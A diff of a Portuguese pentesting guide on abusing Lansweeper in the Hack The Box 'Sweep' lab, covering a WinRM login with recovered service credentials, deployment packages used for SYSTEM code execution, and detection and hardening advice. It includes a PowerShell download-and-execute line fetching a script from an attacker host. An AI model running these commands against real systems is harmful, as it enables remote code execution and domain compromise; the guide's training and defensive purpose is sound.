 Inventory Windows  SWEEP\svc_inventory_win  <StrongPassword!>
 Inventory Linux    svc_inventory_lnx        <StrongPassword!>
 ```
-Usar creds de scanning do Windows recuperadas para acesso privilegiado:
+Utilize as creds de scanning do Windows recuperadas para acesso privilegiado:
 ```bash
 netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
 # Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
 ```
 ## 4) Lansweeper Deployment → SYSTEM RCE

-Como membro do “Lansweeper Admins”, a interface web expõe Deployment e Configuration. Em Deployment → Deployment packages, você pode criar pacotes que executam comandos arbitrários em ativos alvo. A execução é realizada pelo serviço Lansweeper com alto privilégio, resultando em execução de código como NT AUTHORITY\SYSTEM no host selecionado.
+Como membro de “Lansweeper Admins”, a interface web expõe Deployment e Configuration. Em Deployment → Deployment packages, você pode criar pacotes que executam comandos arbitrários em assets direcionados. A execução é realizada pelo serviço Lansweeper com altos privilégios, resultando em execução de código como NT AUTHORITY\SYSTEM no host selecionado.

-High-level steps:
- Crie um novo Deployment package que execute um one-liner PowerShell ou cmd (reverse shell, add-user, etc.).
- Aponte para o ativo desejado (por exemplo, o DC/host onde Lansweeper roda) e clique em Deploy/Run now.
- Capture sua shell como SYSTEM.
+Passos de alto nível:
+- Crie um novo pacote Deployment que execute um one-liner em PowerShell ou cmd (reverse shell, add-user, etc.).
+- Aponte para o asset desejado (por exemplo, o DC/host onde o Lansweeper roda) e clique em Deploy/Run now.
+- Obtenha sua shell como SYSTEM.

 Exemplos de payloads (PowerShell):
 ```powershell
@ -127,21 +127,21 @@ powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
 powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
 ```
 OPSEC
- Deployment actions are barulhentas e deixam logs no Lansweeper e nos event logs do Windows. Use com parcimônia.
+- Ações de deployment são ruidosas e deixam logs no Lansweeper e nos event logs do Windows. Use com parcimônia.

 ## Detecção e hardening

 - Restrinja ou remova enumerações SMB anônimas. Monitore por RID cycling e acesso anômalo a shares do Lansweeper.
- Controles de egress: bloqueie ou restrinja fortemente SSH/SMB/WinRM de saída a partir dos hosts scanner. Alerta em portas não padrão (ex.: 2022) e banners de cliente incomuns como Rebex.
- Proteja `Website\\web.config` e `Key\\Encryption.txt`. Externalize secrets em um vault e rotacione em caso de exposição. Considere service accounts com privilégios mínimos e gMSA quando viável.
- Monitoramento AD: alerte sobre alterações em grupos relacionados ao Lansweeper (ex.: “Lansweeper Admins”, “Remote Management Users”) e sobre mudanças de ACL que concedam GenericAll/Write membership em grupos privilegiados.
- Audite criações/alterações/executions de Deployment packages; alerte sobre packages que disparem cmd.exe/powershell.exe ou conexões de saída inesperadas.
+- Controles de egress: bloqueie ou restrinja fortemente SSH/SMB/WinRM de saída a partir dos hosts scanner. Alerta para portas não padrão (ex.: 2022) e banners de cliente incomuns como Rebex.
+- Proteja `Website\\web.config` e `Key\\Encryption.txt`. Externalize segredos em um vault e rotacione em caso de exposição. Considere contas de serviço com privilégios mínimos e gMSA quando viável.
+- Monitoramento AD: alerte sobre mudanças em grupos relacionados ao Lansweeper (ex.: “Lansweeper Admins”, “Remote Management Users”) e sobre alterações de ACL que concedam GenericAll/Write membership em grupos privilegiados.
+- Audite criações/alterações/execuções de pacotes de Deployment; alerte em pacotes que invoquem cmd.exe/powershell.exe ou conexões de saída inesperadas.

 ## Tópicos relacionados
- SMB/LSA/SAMR enumeration and RID cycling
- Kerberos password spraying and clock skew considerations
- BloodHound path analysis of application-admin groups
- WinRM usage and lateral movement
+- Enumeração SMB/LSA/SAMR e RID cycling
+- Password spraying em Kerberos e considerações sobre clock skew
+- Análise de caminhos com BloodHound de grupos application-admin
+- Uso de WinRM e movimento lateral

 ## Referências
 - [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html)